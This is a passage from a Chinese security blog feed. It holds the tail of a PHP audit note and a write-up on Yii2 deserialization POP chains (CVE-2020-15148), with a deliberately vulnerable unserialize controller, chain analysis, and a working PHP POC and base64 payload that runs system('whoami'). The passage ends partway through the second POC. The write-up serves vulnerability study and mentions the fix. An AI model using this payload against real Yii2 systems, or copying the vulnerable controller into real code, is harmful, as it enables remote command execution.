class="hljs-title">input</span>-<span class="hljs-title">md</span> <span class="hljs-title">form</span>-<span class="hljs-title">control</span>" <span class="hljs-title">name</span>="<span class="hljs-title">mac</span>" <span class="hljs-title">placeholder</span>="<?<span class="hljs-title">php</span> <span class="hljs-title">print</span> <span class="hljs-title">_</span>('<span class="hljs-title">MAC</span> <span class="hljs-title">address</span>'); ?>" <span class="hljs-title">value</span>='<?<span class="hljs-title">php</span> <span class="hljs-title">print</span> @<span class="hljs-title">escape_input</span>($<span class="hljs-title">_POST</span>['<span class="hljs-title">mac</span>']); ?>' <span class="hljs-title">type</span>="<span class="hljs-title">text</span>" <span class="hljs-title">autofocus</span>="<span class="hljs-title">autofocus</span>" <span class="hljs-title">style</span>='<span class="hljs-title">width</span>:250<span class="hljs-title">px</span>;'></span><br></code></pre></td></tr></table></figure><p>app/tools/mac-lookup/results.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-number">5</span>:<span class="hljs-variable">$mac</span> = escape_input(trim(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'mac'</span>]));<br><span class="hljs-number">26</span>:<span class="hljs-keyword">print</span> <span class="hljs-string">"MAC: "</span>.<span class="hljs-variable">$mac</span>;<br></code></pre></td></tr></table></figure><p>$mac 参数通过escape_input()做了过滤</p><p>functions/global_functions.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">escape_input</span>(<span class="hljs-params"><span class="hljs-variable">$data</span></span>) </span>{<br> <span class="hljs-keyword">return</span> (!<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$data</span>) || strlen(<span class="hljs-variable">$data</span>)==<span class="hljs-number">0</span>) ? <span class="hljs-string">''</span> : htmlentities(<span class="hljs-variable">$data</span>, ENT_QUOTES);<br>}<br></code></pre></td></tr></table></figure><p>htmlentities 将字符转换为 HTML 转义字符,ENT_QUOTES 标识表示既转换双引号也转换单引号。</p>]]></content>
<categories>
<category>php代码审计</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>代码审计</tag>
<tag>漏洞复现</tag>
</tags>
</entry>
<entry>
<title>Yii2 反序列化利用链总结</title>
<link href="/2021/09/yii2/"/>
<url>/2021/09/yii2/</url>
<content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>Yii 是一个高性能,基于组件的 PHP 框架,用于快速开发现代 Web 应用程序。Yii主要有 1.1 和 2.0 两个版本,目前官方都在维护这两个版本,Yii2.0 是一个重写的版本,和 Yii1.1 有很大不同。</p><p>本次漏洞出现在 Yii2.0 版本上,在2020年9月左右(HW期间) Yii 被爆出反序列化漏洞,如果程序在用户可以控制的输入处调用了unserialize() 并允许特殊字符的情况下,将会受到反序列化远程命令命令执行漏洞攻击。</p><p>注意,该漏洞只是发掘了 php 反序列化的利用链,必须要配合<code>unserialize</code>函数才可以达到任意代码执行的危害。在该漏洞爆出后,很多师傅相继挖出更多的 Yii 反序列利用链。</p><p>【漏洞编号】CVE-2020-15148</p><p>【影响版本】Yii2 <= 2.0.37</p><p>【全文概述】本文主要分析Yii2的POP链,在寻找到程序的反序列化操作后利用这些POP链可以直接RCE。本文先分析 CVE-2020-15148 中的POP链,然后分析了大佬们挖到的新的POP链,虽然新的POP链主要来自Yii使用的组件,但该POP链可能具有通杀的效果</p><p>我看到很多博主提到 POP 链这个概念,我没有找到十分官方的说法,我的理解就是反序列化利用链</p><blockquote><p>POP(Property Oriented Programming):面向属性编程</p><p>POP链(POP CHAIN):把魔术方法作为入口,然后在魔术方法中调用其他函数,通过寻找一系列函数,最后执行恶意代码,就构成了POP CHAIN 。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制反序列化的类的属性,从而执行POP CHAIN,达到利用特定漏洞的效果。</p></blockquote><h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>在官方仓库下载 Yii 2.0.37:<a href="https://github.com/yiisoft/yii2/releases/tag/2.0.37">https://github.com/yiisoft/yii2/releases/tag/2.0.37</a> </p><p>Yii 一般会同时发布basic和advanced版本,我这里下载的是basic版本,而advanced版本相当于basic版本的升级版本。</p><p>【添加密钥】</p><p>Yii 程序需要配置密钥,否则程序会报错不能运行。</p><p>修改 <code>config/web.php</code> 文件,给 <code>cookieValidationKey</code> 配置项添加一个密钥,随便输入一个值即可(若你通过 Composer 安装,则此步骤会自动完成):</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// !!! 在下面插入一段密钥(若为空) - 以供 cookie validation 的需要</span><br><span class="hljs-string">'cookieValidationKey'</span> => <span class="hljs-string">'在此处输入你的密钥'</span>,<br></code></pre></td></tr></table></figure><p>【添加反序列化入口】</p><p>本次复现重点在于触发反序列化利用链,Yii 本身是不存在触发反序列化利用链的Action,这里我们手动添加一个存在漏洞的Action </p><p>/controllers/TestController.php:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span> <br><span class="hljs-keyword">namespace</span> <span class="hljs-title">app</span>\<span class="hljs-title">controllers</span>;<br><span class="hljs-keyword">use</span> <span class="hljs-title">Yii</span>;<br><span class="hljs-keyword">use</span> <span class="hljs-title">yii</span>\<span class="hljs-title">web</span>\<span class="hljs-title">Controleer</span>;<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TestController</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Controller</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">actionTest</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-variable">$name</span> = Yii:<span class="hljs-variable">$app</span>->request->get(<span class="hljs-string">'data'</span>);<br> <span class="hljs-keyword">return</span> unserialize(base64_decode(<span class="hljs-variable">$name</span>));<br> }<br>}<br></code></pre></td></tr></table></figure><p>PS:这里对反序列化数据做了 base64 编码传输,测试没有编码也是可以传输的,以应对更多情况的真实场景</p><p>【启动应用】</p><p>在web目录下可以使用以下命令快速启动一个 yii 应用</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php">$ php yii serve<br>Server started on http:<span class="hljs-comment">//localhost:8080/</span><br>Document root is <span class="hljs-string">"/Users/xy/big/xy/free/basic/web"</span><br>Quit the server with CTRL-C <span class="hljs-keyword">or</span> COMMAND-C.<br></code></pre></td></tr></table></figure><img src="img/yii反序列化漏洞/image-20210622111350190.png" alt="image-20210622111350190" style="zoom: 25%;" /><p>不过我最终还是搭建在了 MAMP 上,localhost这种在抓包发包上还是有点麻烦</p><h1 id="寻找反序列化入口"><a href="#寻找反序列化入口" class="headerlink" title="寻找反序列化入口"></a>寻找反序列化入口</h1><p>本文只记录了yii POP链,利用这些POP链需要程序执行反序列化操作,即 unserialize()。这里记录两个目前我能想到的找到反序列化入口的地方:</p><p>1)留意程序的序列化数据,如果发现有序列化数据到服务器端,大概率会触发unserialize()。白盒测试的话就是寻找unserialize()的参数是否可控。</p><p>2)构造phar格式文件,并能使用phar协议读取该文件</p><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>在挖掘POP链时,需要知道的是,在反序列化漏洞中,我们通常会构造序列化对象,我们可以容易的控制对象的属性。</p><p>本文记录了4条利用链,POP1和POP2都是基于<code>BatchQueryResult</code>类的反序列化问题,可用于2.0.37 以前的版本,POP1和POP2类似,主要参考POP1</p><p>POP3和POP4来自:<a href="https://github.com/yiisoft/yii2/issues/18293">https://github.com/yiisoft/yii2/issues/18293</a></p><p>其中 POP3 来自 yii 使用的 CodeCeption 框架,该框架一般用于功能测试</p><p>其中 POP4 来自 yii 使用的 swiftmailer ,属于邮件处理组件。所以作者发现了这两个利用链官方并没有收录修改。</p><p>目前没有看到这两个组件有什么修改,主要是漏洞产生是两个不同组织的代码,如果目标系统使用了这两个组件,可能会产生通杀的效果</p><h2 id="POP1"><a href="#POP1" class="headerlink" title="POP1"></a>POP1</h2><p>先分析漏洞爆出时的一条POP链</p><p>漏洞入口点定位在:vendor/yiisoft/yii2/db/BatchQueryResult.php </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BatchQueryResult</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">BaseObject</span> <span class="hljs-keyword">implements</span> \<span class="hljs-title">Iterator</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$_dataReader</span>; <span class="hljs-comment">// line:56</span><br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)//<span class="hljs-title">line</span>:79-83</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-comment">// make sure cursor is closed</span><br> <span class="hljs-keyword">$this</span>->reset();<br> }<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">reset</span>(<span class="hljs-params"></span>) //<span class="hljs-title">line</span>:89-98</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>->_dataReader !== <span class="hljs-literal">null</span>) {<br> <span class="hljs-keyword">$this</span>->_dataReader->close();<br> }<br> <span class="hljs-keyword">$this</span>->_dataReader = <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">$this</span>->_batch = <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">$this</span>->_value = <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">$this</span>->_key = <span class="hljs-literal">null</span>;<br> }<br>……<br></code></pre></td></tr></table></figure><ul><li><p>对象被销毁<code>__destruct()</code>的时候,会调用<code>reset()</code>方法</p></li><li><p>在reset()方法中,<code>$this->_dataReader</code>调用了<code>close()</code>方法,这个函数在类中并不存在,而<code>$this->_dataReader</code>我们可在编写序列化对象时可控,因此可以利用该处触发 <code>__call()</code> 魔术方法</p></li></ul><p>接下来就是要寻找可利用的点,可以全局搜索<code>__call</code>方法</p><img src="img/yii反序列化漏洞/image-20210622120639320.png" alt="image-20210622120639320" style="zoom:50%;" /><ul><li>于是找到如下文件</li></ul><p>vendor/fzaninotto/faker/src/Faker/Generator.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Generator</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$formatters</span> = <span class="hljs-keyword">array</span>();<span class="hljs-comment">//line:201</span><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">format</span>(<span class="hljs-params"><span class="hljs-variable">$formatter</span>, <span class="hljs-variable">$arguments</span> = <span class="hljs-keyword">array</span>(<span class="hljs-params"></span>)</span>)//<span class="hljs-title">line</span>:226-229</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">return</span> call_user_func_array(<span class="hljs-keyword">$this</span>->getFormatter(<span class="hljs-variable">$formatter</span>), <span class="hljs-variable">$arguments</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getFormatter</span>(<span class="hljs-params"><span class="hljs-variable">$formatter</span></span>)//<span class="hljs-title">line</span>:236-249</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-keyword">$this</span>->formatters[<span class="hljs-variable">$formatter</span>])) {<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->formatters[<span class="hljs-variable">$formatter</span>];<br> }<br> <span class="hljs-keyword">foreach</span> (<span class="hljs-keyword">$this</span>->providers <span class="hljs-keyword">as</span> <span class="hljs-variable">$provider</span>) {<br> <span class="hljs-keyword">if</span> (method_exists(<span class="hljs-variable">$provider</span>, <span class="hljs-variable">$formatter</span>)) {<br> <span class="hljs-keyword">$this</span>->formatters[<span class="hljs-variable">$formatter</span>] = <span class="hljs-keyword">array</span>(<span class="hljs-variable">$provider</span>, <span class="hljs-variable">$formatter</span>);<br><br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->formatters[<span class="hljs-variable">$formatter</span>];<br> }<br> }<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> \<span class="hljs-built_in">InvalidArgumentException</span>(sprintf(<span class="hljs-string">'Unknown formatter "%s"'</span>, <span class="hljs-variable">$formatter</span>));<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__call</span>(<span class="hljs-params"><span class="hljs-variable">$method</span>, <span class="hljs-variable">$attributes</span></span>)//<span class="hljs-title">line</span>:283-286</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->format(<span class="hljs-variable">$method</span>, <span class="hljs-variable">$attributes</span>);<br> }<br> ……<br></code></pre></td></tr></table></figure><ul><li><p>这个类的<code>__call()</code>方法会调用<code>format()</code>方法。触发<code>__call()</code>方法的是<code>close()</code>方法,传入的参数为空,所以<code>$method='close'</code>,<code>$attributes</code>为空</p></li><li><p><code>format()</code>方法调用了<code>call_user_func_array()</code>方法,<code>call_user_func_array()</code>的第一个参数为要执行的回调函数,由<code>getFormatter()</code>方法获取</p></li><li><p><code>getFormatter()</code> 主要利用 <code>$this->formatters[$formatter]</code>返回结果 。 <code>$this->formatters</code> 可控,我们便可在此处构造我们想执行的任意函数。而<code>$formatter</code>来自于<code>__call($method,$attributes)</code>中的<code>$method</code>,<code>$formatter='close'</code>,<code>$formatter</code>不可控</p></li></ul><p>目前<code>$arguments='close'</code>,<code>this->formatters</code>可控,<code>$arguments</code>为空。也就是说<code>call_user_func_array()</code>这个函数的第一个参数可控,第二个参数为空。所以我们只能<strong>不带参数</strong>地去调用别的类中的方法,那么我们就需要去寻找能执行命令的函数,这个函数需要满足以下条件:</p><p> 1)方法所需的参数只能是其自己类中存在的(即参数:<code>$this->args</code>)</p><p> 2)方法需要有命令执行功能</p><p>最后通过<code>call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)</code>的正则来查找到两个方法比较合适:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php">yii\rest\CreateAction::run()<br>yii\rest\IndexAction::run()<br></code></pre></td></tr></table></figure><img src="img/yii反序列化漏洞/image-20210622145034158.png" alt="image-20210622145034158" style="zoom:50%;" /><p>vendor/yiisoft/yii2/rest/CreateAction.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">CreateAction</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Action</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>->checkAccess) {<br> call_user_func(<span class="hljs-keyword">$this</span>->checkAccess, <span class="hljs-keyword">$this</span>->id);<br> }<br>……<br></code></pre></td></tr></table></figure><p>vendor/yiisoft/yii2/rest/IndexAction.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">IndexAction</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Action</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>->checkAccess) {<br> call_user_func(<span class="hljs-keyword">$this</span>->checkAccess, <span class="hljs-keyword">$this</span>->id);<br> }<br><br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->prepareDataProvider();<br> }<br> ……<br></code></pre></td></tr></table></figure><p>至此,我们获取了完整的POP链</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs bash">POP1:<br>yii\db\BatchQueryResult::__destruct()->reset()->close()<br>-><br>Faker\Generator::__call()->format()->call_user_func_array()<br>-><br>yii\rest\IndexAction::run->call_user_func()<br></code></pre></td></tr></table></figure><h3 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h3><p>便构造如下POC:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">yii</span>\<span class="hljs-title">rest</span>{<br> <span class="hljs-title">class</span> <span class="hljs-title">IndexAction</span>{<br> <span class="hljs-title">public</span> $<span class="hljs-title">checkAccess</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$id</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->checkAccess = <span class="hljs-string">'system'</span>;<br> <span class="hljs-keyword">$this</span>->id = <span class="hljs-string">'whoami'</span>; <span class="hljs-comment">//command</span><br> }<br> }<br>}<br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">Faker</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">yii</span>\<span class="hljs-title">rest</span>\<span class="hljs-title">IndexAction</span>;<br><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Generator</span></span>{<br> <span class="hljs-keyword">protected</span> <span class="hljs-variable">$formatters</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->formatters[<span class="hljs-string">'close'</span>] = [<span class="hljs-keyword">new</span> IndexAction, <span class="hljs-string">'run'</span>];<br> }<br> }<br>}<br><br><span class="hljs-keyword">namespace</span> <span class="hljs-title">yii</span>\<span class="hljs-title">db</span>{<br> <span class="hljs-title">use</span> <span class="hljs-title">Faker</span>\<span class="hljs-title">Generator</span>;<br><br> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BatchQueryResult</span></span>{<br> <span class="hljs-keyword">private</span> <span class="hljs-variable">$_dataReader</span>;<br><br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"></span>)</span>{<br> <span class="hljs-keyword">$this</span>->_dataReader = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Generator</span>;<br> }<br> }<br>}<br><span class="hljs-keyword">namespace</span>{<br> <span class="hljs-title">echo</span> <span class="hljs-title">base64_encode</span>(<span class="hljs-title">serialize</span>(<span class="hljs-title">new</span> <span class="hljs-title">yii</span>\<span class="hljs-title">db</span>\<span class="hljs-title">BatchQueryResult</span>));<br> <span class="hljs-comment">//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19</span><br>}<br></code></pre></td></tr></table></figure><p>测试结果如下:</p><img src="img/yii反序列化漏洞/image-20210623104001170.png" alt="image-20210623104001170" style="zoom:50%;" /><h3 id="修复情况"><a href="#修复情况" class="headerlink" title="修复情况"></a>修复情况</h3><p>在yii 2.0.38 中修复了该漏洞,可以在commit记录中查看修改</p><p><a href="https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99">https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99</a></p><img src="img/yii反序列化漏洞/image-20210623110330650.png" alt="image-20210623110330650" style="zoom:50%;" /><p>新加了一个<code>__wakeup()</code>方法,但该类被反序列化时被触发,在<code>__wakeup()</code>方法中,会抛出一个异常,从而修复了该漏洞。</p><h2 id="POP2"><a href="#POP2" class="headerlink" title="POP2"></a>POP2</h2><p>同POP1,从<code>yii2/db/BatchQueryResult.php</code>入手,但现在换种思路,我们不找<code>__call</code>方法来触发,直接找<code>close</code>方法</p><p>全局搜索close()方法,且没有参数:</p><img src="img/yii反序列化漏洞/image-20210623115906214.png" alt="image-20210623115906214" style="zoom: 33%;" /><p>发现 DbSession.php 可以利用</p><p>web/DbSession.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">DbSession</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">MultiFieldSession</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">close</span>(<span class="hljs-params"></span>)//<span class="hljs-title">line</span>:146-153</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>->getIsActive()) {<br> <span class="hljs-comment">// prepare writeCallback fields before session closes</span><br> <span class="hljs-keyword">$this</span>->fields = <span class="hljs-keyword">$this</span>->composeFields();<br> YII_DEBUG ? session_write_close() : @session_write_close();<br> }<br> }<br>……<br></code></pre></td></tr></table></figure><p>追踪 composeFields 函数,来到DbSession继承的类MultiFieldSession</p><p>web/MultiFieldSession.php</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">abstract</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MultiFieldSession</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Session</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$writeCallback</span>;<br> <span class="hljs-keyword">protected</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">composeFields</span>(<span class="hljs-params"><span class="hljs-variable">$id</span> = <span class="hljs-literal">null</span>, <span class="hljs-variable">$data</span> = <span class="hljs-literal">null</span></span>)//<span class="hljs-title">line</span>:96-106</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-variable">$fields</span> = <span class="hljs-keyword">$this</span>->writeCallback ? call_user_func(<span class="hljs-keyword">$this</span>->writeCallback, <span class="hljs-keyword">$this</span>) : [];<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$id</span> !== <span class="hljs-literal">null</span>) {<br> <span class="hljs-variable">$fields</span>[<span class="hljs-string">'id'</span>] = <span class="hljs-variable">$id</span>;<br> }<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$data</span> !== <span class="hljs-literal">null</span>) {<br> <span class="hljs-variable">$fields</span>[<span class="hljs-string">'data'</span>] = <span class="hljs-variable">$data</span>;<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$fields</span>;<br> }<br></code></pre></td></tr></table></figure><p>存在敏感函数<code>call_user_func($this->writeCallback, $this)</code>,其中<code>$this->writeCallback</code> 可控,但<code>$this</code>我们很难使其控制为一个函数的参数。那我们就考虑让这个<code>call_user_func</code>调用其他类的敏感方法,如 POP1 中的 <code>yii\rest\IndexAction::run->call_user_func()</code></p><blockquote><p>这里就有一个知识点,在pop1中,我们使用 call_user_func_array() 调用了其他类的方法,其中第一个参数为其他类类名,其他类的函数名构成的数组,而 call_user_func 也具有这个功能</p><p>这个知识点参考:<a href="https://www.php.net/manual/zh/language.types.callable.php">https://www.php.net/manual/zh/language.types.callable.php</a></p></blockquote><p>最终构成利用链:</p><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs elixir">POP2:<br>yii\db\BatchQueryResult::__destruct()->reset()<br>-><br>\yii\web\DbSession::close -> MultiFieldSession::composeFields -> call_user_func(<span class="hljs-variable">$this</span>->writeCallback, <span class="hljs-variable">$this</span>)<br>-><br>\yii\rest\IndexAction::run->call_user_func()<br></code></pre></td></tr></table></figure><h3 id="POC-1"><a href="#POC-1" class="headerlink" title="POC"></a>POC</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span 